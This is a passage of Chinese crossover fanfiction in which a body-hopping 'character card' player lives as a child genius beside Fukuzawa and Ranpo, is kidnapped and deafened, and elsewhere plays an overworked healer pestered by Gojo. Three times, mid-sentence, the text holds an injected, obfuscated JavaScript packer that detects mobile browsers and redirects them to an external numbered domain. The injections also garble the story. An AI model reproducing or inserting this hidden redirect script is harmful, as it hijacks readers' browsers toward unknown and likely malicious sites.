有伙伴在身边的男孩胆子大得惊人,每一句话都仿佛是在福泽谕吉的心脏上握着尖刀跳舞。 “觉得她就算死也必须属于你,那你现在为什么还不去死呢?”他语气平直,字字如刀,“胆子那么小的你连殉情都做不到,又有什么资格去要求别人赐给你忠诚的爱意?” 凝视着对方眼中迅速积聚的愤怒与怨毒,藤原千学恍然大悟般感叹一声: “啊,我知道了,你是一个善妒的懦夫。” “……我才不是懦夫!!” 理智彻底被怒火烧断的男人发出一声暴吼,从怀中掏出一把寒光凛冽的短刀,发狂般向前冲来,试图在惹怒他的家伙肚子上捅出几个洞。 然而男人的攻势未能延展出一米。 冷硬的刀鞘重重击向他右肩,几乎就在同时,一颗子弹穿进了他的小腿骨。 砰——! 暴起的身影应声跪地。 剧烈的疼痛与小腿瞬间的脱力令男人忍不住蜷缩起来,在他痛呼时,那道声音也轻飘飘地落下,沾上灰尘与尖刺淌入他的耳朵里: “真没用啊,那么简单的事情都做不到,难怪她会抛弃你。” 男人听得目眦欲裂,他抬起头,挣扎着想从地面爬起,“你懂什么?!我只是……只是暂时的……暂时的……” 被福泽谕吉护在身后的藤原千学探出头。 “不过,像你这样无趣又丑陋的人,本来就不会有人愿意接纳吧。” “闭嘴!给我闭嘴啊!!!” “……” 看着男孩三言两语就把人刺激成这样,留着中长发的那位警官忍不住咂舌,“这算是认罪了吧?” “认不认罪另说,”卷毛警官面无表情取出手铐,“当着警察的面欲图袭击他人,对象还是个小孩子——胆子可真不小啊。” 双手被反铐在身后的男人听到这句话,像是被刺激到了一般,骤然尖叫一声: “孩子?!他算哪门子的孩子!哪有孩子会说这种话?!他是怪物——他一定是个怪物!现在不杀死他……现在不杀死他,你们总有一天会后悔的!一定会——!” “拒捕是吧?” 卷毛警官目光一冷,一拳砸向男人嘴巴。 尖叫声戛然而止 - 而在另一边,听到藤原千学和江户川乱步的话,店长忽然轻轻笑了。 她不再辩解,坦然地将男人的作案过复述了一遍,说完,甚至好心地从柜台下取出一枚存储卡递了过去。 “这是他下毒到死者毒发全过程的录像,声音也录得很清楚。” 店长语气平稳得像是在与客人谈论餐食的好坏。 负责安抚众人的警察一时愕然:“你……你刚刚怎么不说?!” “哈哈,原本想着说不定能逃过这一劫呢?那样的话,这段录像就可以留到以后……等心情不好的时候,就拿出来看一看。” 面对警察看待变态与精神病的目光,她只无奈地弯了弯唇角,语气轻描淡写:“没想到被两个偶然路过的孩子发现了。” “果然我的运气从来就不算好啊,若是再晚上一天行动……说不定,就成功了吧。” 归根结底,算得上是一报还一报吧。 反正自己刑期注定比那个男人要短,既然如此——倒也谈不上多坏了。 她主动接过手铐,利落地将自己铐上,接着径直走向了门外那辆押送罪犯的警车。 这次解决的很快,等卷毛与长发两位警官坐定,驾驶座上的同伴便启动了车辆。 坐在副驾驶的前辈欲言又止,半晌才迟疑地开口: “虽然是为了制止犯罪……但下次开枪还是谨慎些为好,松田。但凡准头差一点,你就不是警察,而是杀人犯了。” 被称作松田的卷毛警官愣了一下,随即摇头:“不是我们开的枪。” “既然如此……” 前辈的话语戛然而止,他望向窗外横滨街道暧昧的暮色,突然明白了什么,将未尽之语咽了回去,“那就不必追究了。” 大概是某位路见不平拔刀相助的异能力者吧。 ——“你怎么会有这种东西?!!” 解决完一切,福泽谕吉正要肃容告诫他方才言行中潜藏的危险,却在低头时蓦地顿住了。 他目光凝在男孩试图藏入衣摆下的手上——那里赫然握着一把漆黑的手枪。 是的,这就是藤原千学与江户川乱步最大的差别了。 面对不愿回答的问题,乱步会抱怨个不停,然后实话实说,而千学—— “在上一个路口捡到的。” 这就是藤原千学的回答。 福泽谕吉深吸一口气,一遍又一遍地在心中默念:不要与一个孩子置气,他只是个孩子…… 毕竟他们之间只相处了一周,戒备与疏离都再正常不过。 福泽谕吉没收了男孩手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553955|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的枪,他将枪放进和服内袋里,装作什么也未发生般继续向前走去。 “没有它的话,我会受伤的。”藤原千学小声嘟囔,试图唤醒福泽谕吉的动容之心。 福泽谕吉冷漠脸:“没用。” ——你只要闭上嘴就不会受伤。 藤原千学愤愤:“讨厌的大人!” 讨厌就讨厌吧,总比害怕好。 被藤原千学念叨了不下二十遍“讨厌”的福泽谕吉如是想。 如果能在江户川乱步不在的时候,也这样活泼就更好了。 - 他们此行,其实是为了调查某家剧院收到的、来自恐怖组织“V”的恐吓信,顺带替江户川乱步向剧院老板讨一份谋生的差事。 本该早些抵达的行程,却被那起餐饮店命案耽误了一段时间,虽然耽误的时间不多,但等他们踏入剧院幽暗的廊厅时,表演已经开场好一会儿了。 福泽谕吉本寄望于观剧时能分得片刻安宁,结果刚刚落座,一直在安慰藤原千学没有武器也没关系的江户川乱步竟也倏然躁动起来。 “大家为什么要花钱看这种无聊的东西?” 少年清脆嗓音响起在昏暗的观众席,“凶手不就是那个家伙吗?这种事一开始就能看出来吧,不在场证明只是用了障眼法……他是笨蛋吗?和他说话的人不就是凶手吗?” 四周渐渐响起观众对听到剧透的不满声,低语如潮水般漫延开来,福泽谕吉皱起眉头,出声示意他收敛些。 江户川乱步满脸不理解,“大叔明明也知道的吧!你们为什么都要装作不知道的样子,我真的理解不了啊!” 他突如其来的喊叫将周围的人都吓了一跳,惊起四座哗然,有的人已经完全看不进去舞台剧了,在嘈杂的斥责声中,“请带他们出去”的诉求也越来越多。 而少年的崩溃在灯光暗下来的瞬间爆发出来。 “为什么?我不明白,我真的不明白!” 他的声音在黑暗中颤抖,“我完全搞不明白大家在想些什么,为什么都要撒谎,为什么大家都要假装看不见的样子……” “……” 福泽谕吉不得不带着人离开了席间。 - 趁着看表演的间隙,将主意识溜去总控空间站,与搭档打了几局游戏的神隐一将意识切回现场,就看到自己和乱步被福泽谕吉带进了一间安静的休息室。 上半场表演完了吗? 还没来得及回溯完记忆,藤原千学眨了眨眼,察觉到了空气里不寻常的凝滞。 往常总会叽叽喳喳说个不停的江户川乱步此刻异常安静。 他转过头,仔细看着身旁的伙伴。 江户川乱步怔怔地望着福泽谕吉,像是正重新审度过往所有怎样也想不通的事情,他喃喃低语: “原来是这样吗?原来那些时候,并不是我错了……而是大家真的什么都不知道、什么都看不出来……” 少年将声调扬起,如同看见了破开迷雾的天光般兴奋,“原来如此,原来如此,原来大家才是一直没有长大的小孩子啊!” 想通了一切之后,那双翡翠般的眼眸倏然睁大,被汹涌的喜悦彻底洗净,里面朦胧的水雾撤开,流转出明澈的光彩。 “既然我是拥有异能力的人,那我就该好好守护这些如婴儿般单纯的大家才对!” 江户川乱步相信了福泽谕吉的话语。 他接过那副眼镜,也接过了异能力者的身份——他终于握住了解读世界的钥匙。 8. 第 8 章 藤原千学有些迷茫。 为什么这么拙劣的谎言都会相信? 藤原千学不解地看向江户川乱步,这个在他内心被认定为同类的存在。 为什么这么明显的漏洞都没有发现? 那个人脸上的表情明明那么明显,他应该一眼就能看穿才对。 为什么? 藤原千学无法理解。 这明明就是谎言。 为什么会相信呢? 他绞尽脑汁地想,也想不出个所以然。 永远在高速运转着的大脑在这一刻明显的停滞了。 ……为什么会相信啊。 藤原千学仿佛再一次进入到用人世间的恶意与淤泥建造而成的房间里。 窒息,苦闷,与无人理解的迷茫。 在倒涌而来的、名为孤独的海洋淹没他之前,藤原千学松开了江户川乱步的手。 ——一副黑框眼镜就在这个时候被戴在了他的脸上。 “只要有这个眼镜,我们就不会无时无刻地开启这个异能力啦!” 同样戴着眼镜的少年笑眯眯地说道,接着像是什么都没有发现般重新牵上了男孩的手。 “异能力?” 这是福泽谕吉第二次听到藤原千学主动与他对话。 总是会用警惕的目光看向他,敏感到只要江户川乱步不在身边、看到他就会发抖的男孩首次在真正意义上与他进行了对视。 藤原千学的注视充满怀疑,一字一顿:“我和乱步,是一样的,对吗?” 在那双只会出现冷漠,警惕与平静的黑色眼睛里,福泽谕吉看到了名为希望的种子。 那颗种子现在还没有发芽,还淹没在漆黑无光的渊海里,需要一些特定的东西去浇溉才能苟延残喘地活下来。 于是福泽谕吉说道:“对。” 他无从得知被拆穿谎言后的结果,但下意识地觉得,藤原千学想要的好像就是这些话。 “你和乱步,都是一样的。” 藤原千学沉默了很久,才继续问: “我不是异类?” “不是。” “我不是怪胎?” “不是。” “我是人类。” “是,你是一个人。” 有血有肉,有思想,有感情的人。 “……” 瘦削的脸上戴着的眼镜过于大了,藤原千学只能用空余的另一只手扶住。 再也没有松开过乱步那只手的男孩望着福泽谕吉,说道:“这是你说的。” “我不是异类,这是你说的。”他重复。 最小的藤原千学所见到的人性却是三个人中最为肮脏的。 有意不让他再去接触这些,福泽谕吉将总算愿意与他独处的男孩送回了家里,再三确定不会离开之后,他便和江户川乱步重新回去处理事情了。 …… ……… [这个角色卡不是乖孩子吗?你怎么还崩自己定好的人设啊!] 听到搭档的吐槽,大半个身子都爬出了窗外的藤原千学动作未停。 再复杂的工作也有休息的时候。 连续加了两年班的打工人现在需要透气。 神隐理所当然地说道:[乖孩子也有叛逆期,更何况是人嫌狗厌的十岁小屁孩。] 搭档:[……求求你了祖宗不要再打着角色卡的名号骂同事了!我的工资也是工资啊!] [谁让这家伙天天骂老子蠢货。] 反正只要在福泽谕吉之前回来就行了。 语落,男孩的手臂翻过窗沿,瘦小的身体轻盈落地。 藤原千学拍干净身上的灰。 头也不回地离开了福泽谕吉的屋子。 然后——转头就遇到了人贩子。 [我%@#*] 在搭档疯狂的嘲笑声中,神隐一边在脑子里怒骂,一边伪装成受到惊吓的自闭小男孩,顺从地被扔进货车后车厢的笼子里。 [这群狗眼看人低的家伙……] 是的,因为看着藤原千学太过瘦小,那些人甚至没有用绳子绑住他,一照面就直接把人抓进了笼子里。 被小瞧的神隐咬牙:[老子一定会让他们付出代价。] 货车后厢门再一次被人打开。 高壮的男人粗暴地从外面扔进来两个被捆得结结实实、还在不停挣扎的小孩。 看见男人,藤原千学的身体猛地一僵。 他本能地想向后缩,后背却撞上了冰冷的车厢壁,冰得藤原千学倒吸一口凉气。 无奈之下,男孩只能苍白着脸将自己更深地蜷缩起来,努力地藏进前面更大一些的少年影子里。 - [你不是说要狗东西好看吗?] 知道神隐不会委屈自己的搭档好奇询问。 它刚刚看到了神隐购置手枪的交易记录。 [不用吗?] 神隐偷偷翻了个白眼。 从垃圾回收站里捡回了对搭档智商的关爱之心。 [你稍微用用你身为高等生物的权能扫一扫我前面这个人吧。] [小屁孩有什么好扫的……卧槽!神隐你怎么抽卡没有这种狗屎运?] 神隐无语:[……] 神隐破防:[给老子滚啊死破烂!!] - 藤原千学面前有着灰白发色的少年看着和江户川乱步差不多大。 他同样被绑着手脚,性格看起来不是很友好。 在发现这个没有被捆住、能够自由活动的男孩突然移到他身后,紧挨着自己坐下时,少年迅速扭过头。 那双眼睛里淬着凶狠的光,恶狠狠地瞪了一眼藤原千学。 他的身份不言而喻。 羊之王中原中也诱捕器(bushi)——擂钵街知名组织“羊”的核心成员白濑。 相信过不了多久,那位大名鼎鼎的羊之王便会过来捞人了。 而自己也能平安无事地离开。 这样想着,男孩紧绷的神经慢慢放松下来。 他打了个哈欠。 而后,在白濑不可置信的注视下,就着白濑霎时僵硬的后背,安心地闭上了眼睛。 白濑:!!!! 少年浑身的肌肉紧绷到了极限,近乎连呼吸都停止了。 预想中的推搡、辱骂或偷偷摸摸的攻击都没有发生,他僵硬着身体,一动不动地感受着身后之人轻缓的呼吸。 …… 感受到货车颠簸的藤原千学睁开眼。 他将眼皮掀开一条缝,像是还没睡够般,迷迷糊糊地翻了个身,半边脸颊压在了白濑僵得像石头一样的肩膀上。 “有人来救我们了?” 带着浓重鼻音、睡意朦胧的声音含糊地响起,第一时间飘进了白濑耳朵里。 白濑:“……” 他还没来得及对这自来熟的亲密接触做出反应,货箱外便传来一声震耳欲聋的巨响,使得整个车厢都剧烈晃动了一下。 靠在后背与肩膀上的重量瞬间消失。 白濑下意识扭过头,看到那个样貌精致的黑头发男孩已经缩回了一开始的角落。 “轰隆——!” 货箱的门被一股无法抗拒的巨力整个撕开、甩飞。 温和的月光倾泻而下,驱散了车厢内的绝望。 “白濑,雄介,回家了。” 在月光下悬在空中的男孩有着一头褚色卷发。 看到这道身影,孩子们如同找到了主心骨般,哭喊着、争先恐后地离开了货箱。 白濑也被同伴拉着跑到了中原中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553956|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也身边。 直到双脚踩上坚实的地面,劫后余生的庆幸才从白濑心底涌上。 他长长地松了一口气。 而后,目光又不受控制地越过激动的人群,再次看向了货箱内。 没有出来吗? “白濑,你在看什么?” 中原中也顺着他的视线望去,钴蓝色的眼眸带着好奇。 像是察觉到了他的目光,一道小小的身影独自从货箱跳下来。 那是最后从货箱中离开的孩子。 黑发黑眼的男孩动作称得上冷静,与其他人惊惶失措的模样截然不同。 他的身上穿着宽大的警校生制服,戴着一副比脸大上一圈的方框眼镜,需要用手扶着才不会一直掉落。 就像是偷穿了哥哥的衣服。 离开货箱之后,男孩推了推滑落到鼻尖的眼镜,环顾一番四周,然后目标明确地朝南北方走去。 “喂!” 白濑叫了他一声,没叫住。 他只能跑过去拦住男孩的去路。 对周遭情况充耳不闻的藤原千学这才停下脚步。 藤原千学仰起头,黑色眼眸无声地询问着拦路者。 被这双眼睛注视着,白濑莫名感到了一丝压力,他喉结滚动了一下,有些生硬地、却又带着某种他自己也说不清的冲动,开口道: “你……要不要加入『羊』?” [这才是最开始的行动轨迹啊。] 最初设想就是加入『羊』成为中原中也脑子的神隐感慨一声,随后操控着藤原千学摇头拒绝。 “为什么?”白濑不死心。 那双渊海似的眼眸奇怪地看着他,“我不是孤儿。” 他已经拥有同伴与家人了。 “……” “…………” 平淡的话语像是一把淬了毒的匕首,无情地刺进了白濑的心脏。 就像是在这一瞬间被雷电劈中身体,白濑整个人都呆站在了原地。 他的嘴唇嗡动着,却发不出任何声音。 “喂!你这家伙什么意思?!” 旁边骤然响起一声愤怒的咆哮。 橘红色身影裹挟着骇人的气势,迅速冲到了藤原千学面前,一拳砸在了他脸侧的货箱铁皮上。 “哐当——!!!” 震耳欲聋的声音在藤原千学的耳边炸响。 “……” 藤原千学的身体晃了晃,随后面无表情扶住凹陷的货箱站定。 他表现的很平静。 就好像刚才那猛烈的声响只是天地间拂过的一阵微风。 接着,还没来得及收回拳头的中原中也就看到,男孩的耳朵里缓缓流出了两道刺目的鲜红。 中原中也那双钴蓝色眼眸倏然凝固了。 血液顺着男孩纤弱的脖颈滑落,在衣服上洇开一道更为暗沉的痕迹。 “!!!” 没有想到藤原千学会那么脆弱的中原中也瞳孔骤缩。 他像被烫到一样收回拳头,手足无措地看着那还在流淌的血迹。 “你……你的耳朵……” “听不见了。”藤原千学的声音毫无起伏,看起来根本没有受伤的样子,“我讨厌你,羊之王。” “那你为什么还可以和我们对话啊?!” 看着藤原千学这过于平静的反应,旁边同样被这突如其来的变故吓到的白濑大声问。 耳朵里流出的血越来越多了。 藤原千学冷静地用披风擦拭掉身上的血。 等到血迹擦拭干净,他才用夹杂着不耐的冰冷语气说道:“我会读唇语,蠢货。” 说完,藤原千学无视掉白濑,重新将目光投向面前满脸愧疚的中原中也。 “现在送我回去,我就原谅你。” 9. 第 9 章 藤原千学是在黄昏时分溜出家门的。 等到中原中也背着他回到那扇熟悉的窗户下时,天幕早已被深邃的墨色浸透。 藤原千学从中原中也背上滑落,拉开了那扇连接客厅的窗户,像只归巢的夜鸟般跳了进去。 他转过头,看向还停留在窗外的中原中也。 “好了,我原谅你了。” 月光勾勒出窗内之人的影子,冷漠又决绝。 “以后我不要再见到你了。” 连名字都没有交换的男孩说完话,便直接关上了窗,窗帘也被用力拉上,将窗内与窗外彻底隔绝。 “………” 差点被窗户砸到的中原中也摸摸鼻子。 红光包裹住身体,他对着紧闭的窗户说了声“再见”,身影很快融入了沉沉夜色里。 [区区一个月的耳聋buff,能出什么大问题?] 神隐在意识里对着搭档信誓旦旦。 结果一打房间门,就看到了躺在床上熟睡的江户川乱步,还有坐在床边、正抬眼看他的福泽谕吉。 神隐:[……] 福泽谕吉看着他,似乎说了些什么。 但月光明显不足以使藤原千学看到他的嘴型……救命,他甚至还没有来得及擦干净耳朵两边的血迹。 明明按世界意识送过来的剧情显示,他们两个还有一个小时才会回来啊!! 上帝啊…… 这该怎么圆啊。 [我再也不叛逆了……] 神隐悔恨万千地擦了擦泪水。 下次还是用其他角色卡出去透气吧。 而福泽谕吉也发现了藤原千学的不对劲。 不知道去做了什么,直到半夜才回来的孩子在发现自己的存在之后,就一直站在原地。 凭借白天藤原千学缓和下来的态度,福泽谕吉尝试着又唤了一声他的名字。 声音比刚才大了一些。 没有反应。 男孩有些迟钝地走到他身前。 福泽谕吉在他身上闻到了非常熟悉的气味,那是他曾无数次在斩杀目标后,萦绕在刀锋之上、浸透在指缝之间的——血腥味。 银发武士站起身。 “你受伤了?” 没有回应,藤原千学安静地站在他面前。 啪嗒。 福泽谕吉点开了灯。 暖黄灯光柔和地铺在房间的每一寸地方。 在灯光亮起的刹那,他看到了男孩耳边已经干涸的血迹。 在一天之内接连经历乱步被绑架、千学深夜失踪的强压下翻涌的复杂情绪,蹲下身仔细查看着血迹的来源。 指腹小心翼翼地触碰、按压,探查着痕迹的走向和源头,经验丰富的武士对各种伤势都十分熟悉。 于是就算是再怎么不可置信,福泽谕吉闭了闭眼——是从耳朵内部流出来的。 灯光驱散了阴影。 也终于让藤原千学能够看清福泽谕吉的表情与口型。 还戴着他送的那一副眼镜的男孩抬起头,仿佛没有看到对方眼里的沉重。 他清晰地、用一种陈述事实的平淡语气说道: “我会读唇语,不影响交流。” 知道这孩子是和乱步一样不世出的天才,福泽谕吉对此并不惊讶,但心头的沉重并未消减半分。 他沉默地将藤原千学抱起来,轻轻放到床边,随后调整了一下角度,确保自己说话时,对方能清晰地看到自己嘴型。 “是谁做的?” 虽然知道不需要这样做,但福泽谕吉还是放慢语速询问着。 中原中也和福泽谕吉打架谁会赢……神隐思考着。 [你还记得我们是来拯救世界的吗?] [脑子里想一想都不可以吗!] 在角色卡『学者-藤原千学』的设定中,他是个情商很高,但从来不会和人正常交流的一个人。 于是他说:“那个人只是被我激怒了。” 藤原千学望着福泽谕吉,表情平静,像是在讲述与自己不相干的事情,“受伤很正常。” 他的话语带着近乎残酷的自我认知。 “我本来就不讨人喜欢。” “……” 面对福泽谕吉沉默下来的眼神,藤原千学从裤兜里取出两朵小花。 那两朵小花已经被压得不成样子了。 花瓣蔫萎,失去了原本的鲜活,沾着尘埃与碎屑,看起来可怜兮兮。 他主动拉过福泽谕吉放在膝前紧握的手,两朵小花被郑重地放在武士摊开的掌心里。 “送给你。”男孩仰起脸,黑眸中仍旧没有什么情绪,“不要生气。” 银发武士握着花,顷刻,抬起另一只手落在乱糟糟的黑发上,缓缓地揉了揉。 “下次出去的时候,与我说一声吧。” 他的眼眸专注地注视着藤原千学,“我和乱步都很担心你。” ”……” 辨别出青年所说的话语,藤原千学瞳孔猛地收缩,像是有无形的石块猛地砸中心脏,令他整个人都僵在了原地。 下一秒,藤原千学突然迈步向前,距离迅速拉近,几乎要撞进福泽谕吉怀抱里。 “你刚刚说什么?” 他的声音里带着自己无法控制的颤抖与急促。 藤原千学仰起头,黝黑的眼睛死死盯着银发武士的脸,像是要从这张坚毅的面容上搜寻一丝一毫的犹豫或欺骗。 福泽谕吉没有躲闪,也没有不耐,他垂下眼帘,重复道:“我和乱步,都很担心你。” 是真的。 藤原千学注视着那双沉静的眼睛。 是真的!!! 他再猛地扑了上去,双臂紧紧环住银发武士的脖颈,用力到指节发白,男孩把脸深深埋进对方的衣襟,稚嫩的声音闷在布料间,像在哭泣。 “你要一直担心我……” 这句话里藏着连他自己不肯承认的脆弱与乞求,像是抓住最后一根救命稻草,藤原千学的声音越来越轻,却也愈发执拗: “你,还有江户川乱步,都要一直、一直担心我。” 区别于江户川乱步天真的赤子之心。 早早就知道在这个堆积沉郁污浊的世间,恩赐等同于交易的藤原千学甘愿将自己当成筹码。 他尚未领悟除去利益之外,这个世界还存在温情脉脉的关系,于是试图用自己所拥有的一切交换第一次触碰到的温柔。 “做什么都可以,只要不离开我。” “只要一直注视我。” 这用尽全力的拥抱对于福泽谕吉而言,也宛如羽毛一样轻。 他叹息一声收拢手臂。 将这个颤抖着不断哭泣的孩子环抱住。 福泽谕吉最后还是没有问出那个人到底是谁。 - 神隐:[居然那么好忽悠……] 搭档:[是这个角色卡太小了吧!你换个二十岁的你看他拿不拿剑戳你吧!] - 藤原千学睡着了。 男孩趴在武士温暖的怀抱里,呼吸逐渐变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553957|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得绵长均匀。 他苍白的脸上还残留着晕开的泪迹。 浓密的睫毛安静地垂着,投落下一片阴影,遮住那双少有情绪的黑眸。 福泽谕吉擦干净男孩脖颈和脸上的污渍,才小心地将怀里孩子放到床上。 盖好被子之后,他起身按灭房间里的灯,放轻脚步离开了房间。 过了好一会儿,闭着眼睛的江户川乱步动了动,翻身伸手抱住藤原千学。 他满足地蹭了蹭男孩头顶。 “晚安,千学。” 说完,少年心满意足地调整了个更舒适的姿势,重新陷入了梦境。 月光从半开的窗帘中温柔洒落。 勾勒出发丝交缠的两道静谧身影 …… …… 自从那天在五条悟的宿舍里打了一夜游戏之后,伏黑隐的日常除了治疗和学习之外,又多了一项——如何拒绝前辈热情的邀请。 - 天光晴朗,惠风和畅。 少年暖白的发丝在阳光下散着灼目的亮光。 两天没睡的他一到教室就趴在了课桌上,试图就这样睡到天荒地老。 然而觉不是那么好睡的。 “隐!隐!伏黑隐!” 从那天打完游戏之后,就直接换了称呼的五条悟坐在后面,不停扒拉着伏黑隐,“晚上来打游戏,这次老子一定会打败你!” 被迫清醒过来的伏黑隐:“…………” 他艰难地从五条悟手里抽出衣摆,“可是我更想睡觉,前辈。” “来嘛~来打嘛来打嘛~~” 五条悟发挥身高优势长臂一伸,轻松把前桌的人揽住,他拖长了调子,像只超大号粘人猫科动物一样晃着伏黑隐的肩膀,“来嘛——” 伏黑隐被晃得眼前发晕,本就睡眠不足的脑袋开始嗡嗡作响。 十分后悔当初翻阳台翻到五条悟阳台去的他闭闭眼,咬牙同意了。 - 最后三天四夜没睡的伏黑隐在医务室安宁地睡了二十七个小时。 …… 难得在天黑前从医务室离开,伏黑隐打算早些回宿舍休息。 在路过一处莫名茂盛的草丛时,一阵窸窸窣窣夹杂着身体碰撞的闷响钻入耳朵。 “什么东西……高专还养猫吗?” 少年好奇地草丛面前,拨开草丛,看到了扭打在一起的两个身影。 伏黑隐:“……” 打扰了。 他立马后退几步,想要装作没有看见转身就走。 刚迈开脚步,丸子头和白毛墨镜就若无其事地一左一右走到他的身边。 丸子头拍拍身上草屑,笑容温和:“嗨,好巧啊,伏黑。” 白毛墨镜凑到伏黑隐面前,露出一个闪耀到晃眼的笑容: “你要来参加高专男子聚会吗?!” “……前辈,我不想去。” “去嘛!去嘛去嘛!” “……” 只有三个人的男子聚会,伏黑隐握着游戏手柄,坐在夏油杰和五条悟中间。 他煎熬地看着屏幕上的游戏,耳边还有夏油杰五条悟的说话声。 好吵,好累。 好想睡觉。 …… “隐,来打球啊!” 精力旺盛到看起来永远不会疲惫的五条悟拍着篮球,对伏黑隐挥挥手。 刚想拒绝,他便被夏油杰抱住肩膀走了过去。 等等、这次连拒绝都不让说了吗? …… 10. 第 10 章 “隐!” 伏黑隐刚从医务室离开回到宿舍楼廊前,就远远瞧见一道熟悉的白色身影。 下定决心这次一定要拒绝前辈邀请的伏黑隐深吸一口气,在对方靠近前抢先开口:“五条前辈,这次我真的不会再同意——” 话音未落,一块棉花糖被塞进了伏黑隐的嘴里。 他微微一怔,下意识咀嚼起来。 甜意还未完全在嘴腔中化开,一块牛轧糖又抵在了嘴边。 这次有点难咽,伏黑隐嚼嚼嚼。 刚咽下去,五条悟又迅速拿起一枚烘焙糕递进他嘴里。 他只得像一只被投喂的仓鼠继续嚼嚼嚼。 开口——塞食物——嚼嚼嚼——开口 如此循环往复,不到半个小时,伏黑隐就吃撑了。 胃部鼓胀的他摸着肚子,整个人都陷进了沙发里,恨不得与之融为一体。 斜阳透过窗口,在少年的制服上洒下碎金,同样沐浴在落日之下的五条悟坐在他的身边,递给伏黑隐一个游戏手柄。 游戏手柄。 “这次老子绝对会赢你的。” 白毛墨镜得意洋洋地说道,镜片后的苍蓝眼瞳闪着势在必得的光。 算了。 伏黑隐闭着眼接过手柄。 吃人嘴软,只要这次让前辈赢开心就可以了吧。 “不准放水!”察觉到伏黑隐心思的五条悟立刻戳破他的念头。 “………” 彳亍口巴 - 握着手柄,伏黑隐打了这个小时的第六个哈欠。 困意如潮水汹涌地拍打着意识,他感觉自己仿佛沉没在了海面下,游戏画面和五条悟的声音都化作咫尺天涯的海浪篝火,在逐渐朦胧的意识里,只剩下本能在操控着身体。 好困。 已经到了一看见游戏和五条悟就犯困的程度了。 面对五条悟的攻击,伏黑隐下意识按下了反攻键。 - 最后从晚上七点打到了早上九点。 也平局到了早上九点。 直到睡醒的夏油杰推门而入,这场煎熬又无休止的折磨才终于停止。 “悟,该去上课了……伏黑也在啊。” 伏黑隐热泪盈眶地望着夏油杰:“夏油学长,你终于来了。” “早上好,伏黑。” 没有回应问好,在看到夏油杰的瞬间就将手柄扔掉的少年闭上眼,一头栽进沙发里睡了过去。 - “哈哈哈哈杰你快看!”看着伏黑隐四仰八叉的睡姿,五条悟举着手机大笑:“老子第一次见到隐睡得这么难看!” 夏油杰无奈:“这样睡很容易受伤吧。” 他轻轻推了推伏黑隐的肩膀,尝试着把人叫醒,少年却只是无意识地翻了个身,将脸埋进了沙发靠垫更深处。 又轻喊了几声伏黑隐的名字,回应他的仍旧只有均匀的呼吸声。 夏油杰沉默了。 五条悟手机的闪光灯都已经快把夏油杰的眼睛闪瞎了,被怼脸拍的伏黑隐还是没有反应。 究竟是有多累啊,这样都没睡醒。 将伏黑隐送回了他的宿舍,夏油杰才和五条悟前往了教室。 - “让隐就睡在那里不好嘛?” “悟,对伏黑好一点吧。” …… …… 在来到这个世界之前,某位好友时常和神隐分享当医生会让人○痿的言论,那个时候年轻气盛的神隐不相信。 他信誓旦旦地对好友说——要是自己当医生,肯定每天都是活力四射的去面对病人! 好友听到他的话愣了一秒,而后不留情面地捧腹大笑。 现在, 神隐终于理解当初好友为什么要嘲笑自己了。 又是两天没睡彻夜治疗,神隐一进角色卡,就差点被铺天盖地压来的疲惫瘫倒在地。 他抬起灌了铅般的双腿,沉默地望着医务室外的月亮。 其实按道理来说,一个珍贵的治愈型术式不该活得那么累,毕竟要是把人累死,那就得不偿失了。 但伏黑隐是前诅咒师。 还是主动去找总监会“弃恶从善”的前诅咒师。 总监会觉得他迟早有一天会跑路,害怕他跑路后就用不上那么好用的术式了,于是往死里磨磋伏黑隐,一点小伤都要用到他。 发烧,崴脚,擦伤乃至脱发都要来找他。 平时治疗人都是角色卡自动挂机,神隐倒不觉得有多累,就是每次加载角色卡后都有点麻烦。 身体太重了。 弯曲的月牙悬在夜幕最上方,霜似的薄光盖住走廊,伏黑隐打了个哈欠,从衣兜里掏出颗薄荷糖放进嘴里。 勉强打起了精神,他将最后一个患者治疗完毕,就着旁边的空床位睡了过去。 以后还是等所有人治疗结束再回到角色卡里吧。 …… 回到总控空间站,神隐投出『双面鬼-伏黑隐』的角色卡。 “这样下去,角色卡迟早会劳累致死的。”搭档抱着枕头坐过来,仔细观察着双面鬼的建模,“才刚刚一个月吧,黑眼圈就那么重了。” 再充沛的活力遇上三天两头的通宵熬夜也扛不住,建模上原本阳光开朗的笑意也垮了下来,变得面无表情。 “出差嘛,有损耗是正常的。” 神隐将搭档新写的代码安装在角色卡身上,把耐力和体力提高,又将上面快要爆表的疲惫状态清除三分之一,让角色卡不至于疲惫到连话都说不出来。 “熬两年就好了。” 两年后就可以继续回去做诅咒师了。 神隐说完,又切换到『学者-藤原千学』,想了想,给角色卡加了个温情buff。 